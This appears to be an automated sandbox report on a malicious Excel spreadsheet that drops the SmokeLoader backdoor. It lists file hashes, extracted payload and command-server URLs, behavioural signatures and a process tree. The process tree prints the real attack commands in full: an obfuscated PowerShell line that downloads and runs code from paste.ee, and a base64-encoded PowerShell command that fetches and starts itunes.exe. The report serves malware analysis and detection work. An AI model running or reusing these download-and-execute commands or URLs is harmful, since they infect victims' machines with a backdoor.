Analysis
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max time kernel
69s -
max time network
17s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
02-03-2021 03:54
Behavioral task
behavioral1
Sample
TRD-ENQ-70-2499-26-SIS.xls
Resource
win7v20201028
Behavioral task
behavioral2
Sample
TRD-ENQ-70-2499-26-SIS.xls
Resource
win10v20201028
General
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Target
TRD-ENQ-70-2499-26-SIS.xls
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Size
155KB
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MD5
a9f22ee486f5effd62a8880f3472c088
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SHA1
eb8531c54d4a11add906fbadba9fc2969ed8fc53
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SHA256
ba7022816b45ca6c627869743cb759207d577d774ac0d81edb5bf20445941115
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SHA512
88fdd7caa527e34ddfd765b04a9f82a7f4145ed6b6a629e418a28f4c57778c43b8b7402f70549e8a00d4171eb9b7166b72595b951a145b1361df4fac26ab88e9
Malware Config
Extracted
http://paste.ee/r/w0yLV
Extracted
https://u.teknik.io/co0r5.txt
Extracted
smokeloader
2018
http://cmcare.ca/1/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1028 776 powershell.exe EXCEL.EXE -
SmokeLoader
Modular backdoor trojan in use since 2014.
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Blocklisted process makes network request 3 IoCs
Processes:
powershell.exepowershell.exeflow pid process 6 1028 powershell.exe 7 1028 powershell.exe 10 432 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
itunes.exepid process 1264 itunes.exe -
Loads dropped DLL 2 IoCs
Processes:
powershell.exepid process 432 powershell.exe 432 powershell.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
itunes.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum itunes.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 itunes.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 776 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepowershell.exepid process 1028 powershell.exe 432 powershell.exe 432 powershell.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
itunes.exepid process 1264 itunes.exe 1264 itunes.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1028 powershell.exe Token: SeDebugPrivilege 432 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 776 EXCEL.EXE 776 EXCEL.EXE 776 EXCEL.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
EXCEL.EXEpowershell.exepowershell.exedescription pid process target process PID 776 wrote to memory of 1028 776 EXCEL.EXE powershell.exe PID 776 wrote to memory of 1028 776 EXCEL.EXE powershell.exe PID 776 wrote to memory of 1028 776 EXCEL.EXE powershell.exe PID 776 wrote to memory of 1028 776 EXCEL.EXE powershell.exe PID 1028 wrote to memory of 432 1028 powershell.exe powershell.exe PID 1028 wrote to memory of 432 1028 powershell.exe powershell.exe PID 1028 wrote to memory of 432 1028 powershell.exe powershell.exe PID 1028 wrote to memory of 432 1028 powershell.exe powershell.exe PID 432 wrote to memory of 1264 432 powershell.exe itunes.exe PID 432 wrote to memory of 1264 432 powershell.exe itunes.exe PID 432 wrote to memory of 1264 432 powershell.exe itunes.exe PID 432 wrote to memory of 1264 432 powershell.exe itunes.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\TRD-ENQ-70-2499-26-SIS.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://paste.ee/r/w0yLV')2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AYwBvADAAcgA1AC4AdAB4AHQAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAaQB0AHUAbgBlAHMALgBlAHgAZQAdICAAKQAgADsAIABzAHQAQQBSAHQAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAaQB0AHUAbgBlAHMALgBlAHgAZQAdIA==3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\itunes.exe"C:\Users\Admin\AppData\Local\Temp\itunes.exe"4⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Suspicious behavior: MapViewOfSection
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3bf4f350-86fe-486e-8b87-41ab96d0ad9cMD5
b6d38f250ccc9003dd70efd3b778117f
SHA1d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a
SHA2564de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265
SHA51267d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4408bb97-19ee-4815-b02c-5a0939dddad8MD5
df44874327d79bd75e4264cb8dc01811
SHA11396b06debed65ea93c24998d244edebd3c0209d
SHA25655de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181
SHA51295dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_644b5728-e9b5-45ab-9104-7136ec814422MD5
be4d72095faf84233ac17b94744f7084
SHA1cc78ce5b9c57573bd214a8f423ee622b00ebb1ec
SHA256b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc
SHA51243856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6532a425-51ae-4577-837f-c6e09d9fcfcfMD5
75a8da7754349b38d64c87c938545b1b
SHA15c28c257d51f1c1587e29164cc03ea880c21b417
SHA256bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96
SHA512798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_69670b6c-d49a-42a9-993a-10d18807f7c6MD5
5e3c7184a75d42dda1a83606a45001d8
SHA194ca15637721d88f30eb4b6220b805c5be0360ed
SHA2568278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59
SHA512fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87aMD5
a725bb9fafcf91f3c6b7861a2bde6db2
SHA18bb5b83f3cc37ff1e5ea4f02acae38e72364c114
SHA25651651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431
SHA5121c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aacd219d-c7ba-43ff-a67c-9ddc2f632d63MD5
597009ea0430a463753e0f5b1d1a249e
SHA14e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62
SHA2563fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d
SHA5125d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9f9468a-8cbd-4472-b808-e8b3772f4134MD5
02ff38ac870de39782aeee04d7b48231
SHA10390d39fa216c9b0ecdb38238304e518fb2b5095
SHA256fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876
SHA51224a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
0e6951e580128cdf84c9ba7d72dad791
SHA1414d559f2b5df38a3d91e9fad021628fc6c9acef
SHA2561b76fb3c09e01b801f8e6182a0730793a830d7fb4ccfa0959f7f67f5c05e3c61
SHA512b229aa7cb8a2b9ab94e72dcc9affe94ab2f7b4e7e8a5fa60eea9f4f27685ec63adebb4e48ba671fdbd1fb0cf3e5d0c281bc112f47d58d6a7e09a41dc5f7ec851
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C:\Users\Admin\AppData\Local\Temp\itunes.exeMD5
a207204a635bec1ee31be6dd9f3802e0
SHA1319da3a5c6b013a0c2dfaa8e954b1cd936f8336f
SHA2560da52a9b8788344a1b1cbfd7505d1374367b5eea32153ceb522c4b41100fb940
SHA51233eb8d57fd64627fe307731eb00cb3ee4de37137e51114d527d2e0e031cf575217c55dc65cd54d8e19410f8394acfa244742929a0bc9acc7686a0837c67b6ed9
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
e61d0f6d28091435c1c437a05de62d22
SHA1f16387506f6f0de947a404ea9e548197a2ee8a6e
SHA256263eafffbcc6eb6b38e8e46a4b2f05b7e072f34bdf4900c4dd932554c09fb80d
SHA512e8bfa956fcfa90726b84a1e768bc9ac5130855ff0d91859e48cb3acf099e8337b5ed519b39ee9944f9d6b196f7a7a635c99634b8b7f0486f24c8a5254167ef2c
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\Users\Admin\AppData\Local\Temp\itunes.exeMD5
a207204a635bec1ee31be6dd9f3802e0
SHA1319da3a5c6b013a0c2dfaa8e954b1cd936f8336f
SHA2560da52a9b8788344a1b1cbfd7505d1374367b5eea32153ceb522c4b41100fb940
SHA51233eb8d57fd64627fe307731eb00cb3ee4de37137e51114d527d2e0e031cf575217c55dc65cd54d8e19410f8394acfa244742929a0bc9acc7686a0837c67b6ed9
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\Users\Admin\AppData\Local\Temp\itunes.exeMD5
a207204a635bec1ee31be6dd9f3802e0
SHA1319da3a5c6b013a0c2dfaa8e954b1cd936f8336f
SHA2560da52a9b8788344a1b1cbfd7505d1374367b5eea32153ceb522c4b41100fb940
SHA51233eb8d57fd64627fe307731eb00cb3ee4de37137e51114d527d2e0e031cf575217c55dc65cd54d8e19410f8394acfa244742929a0bc9acc7686a0837c67b6ed9
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memory/432-32-0x0000000000000000-mapping.dmp
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memory/432-35-0x000000006C1F0000-0x000000006C8DE000-memory.dmpFilesize
6.9MB
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memory/432-40-0x0000000004892000-0x0000000004893000-memory.dmpFilesize
4KB
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memory/432-39-0x0000000004890000-0x0000000004891000-memory.dmpFilesize
4KB
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memory/776-3-0x0000000071371000-0x0000000071373000-memory.dmpFilesize
8KB
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memory/776-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/776-2-0x000000002FD91000-0x000000002FD94000-memory.dmpFilesize
12KB
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memory/1028-11-0x0000000002912000-0x0000000002913000-memory.dmpFilesize
4KB
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memory/1028-8-0x00000000009A0000-0x00000000009A1000-memory.dmpFilesize
4KB
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memory/1028-31-0x0000000006440000-0x0000000006441000-memory.dmpFilesize
4KB
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memory/1028-16-0x0000000005820000-0x0000000005821000-memory.dmpFilesize
4KB
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memory/1028-13-0x0000000002710000-0x0000000002711000-memory.dmpFilesize
4KB
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memory/1028-12-0x0000000002550000-0x0000000002551000-memory.dmpFilesize
4KB
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memory/1028-22-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
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memory/1028-10-0x0000000002910000-0x0000000002911000-memory.dmpFilesize
4KB
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memory/1028-9-0x0000000004A10000-0x0000000004A11000-memory.dmpFilesize
4KB
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memory/1028-21-0x00000000057B0000-0x00000000057B1000-memory.dmpFilesize
4KB
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memory/1028-7-0x000000006C1F0000-0x000000006C8DE000-memory.dmpFilesize
6.9MB
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memory/1028-6-0x0000000076071000-0x0000000076073000-memory.dmpFilesize
8KB
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memory/1028-5-0x0000000000000000-mapping.dmp
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memory/1028-23-0x00000000063B0000-0x00000000063B1000-memory.dmpFilesize
4KB
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memory/1028-30-0x00000000059F0000-0x00000000059F1000-memory.dmpFilesize
4KB
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memory/1264-55-0x0000000000000000-mapping.dmp
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memory/1272-58-0x0000000002C10000-0x0000000002C11000-memory.dmpFilesize
4KB
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memory/1272-59-0x0000000002AD0000-0x0000000002AE5000-memory.dmpFilesize
84KB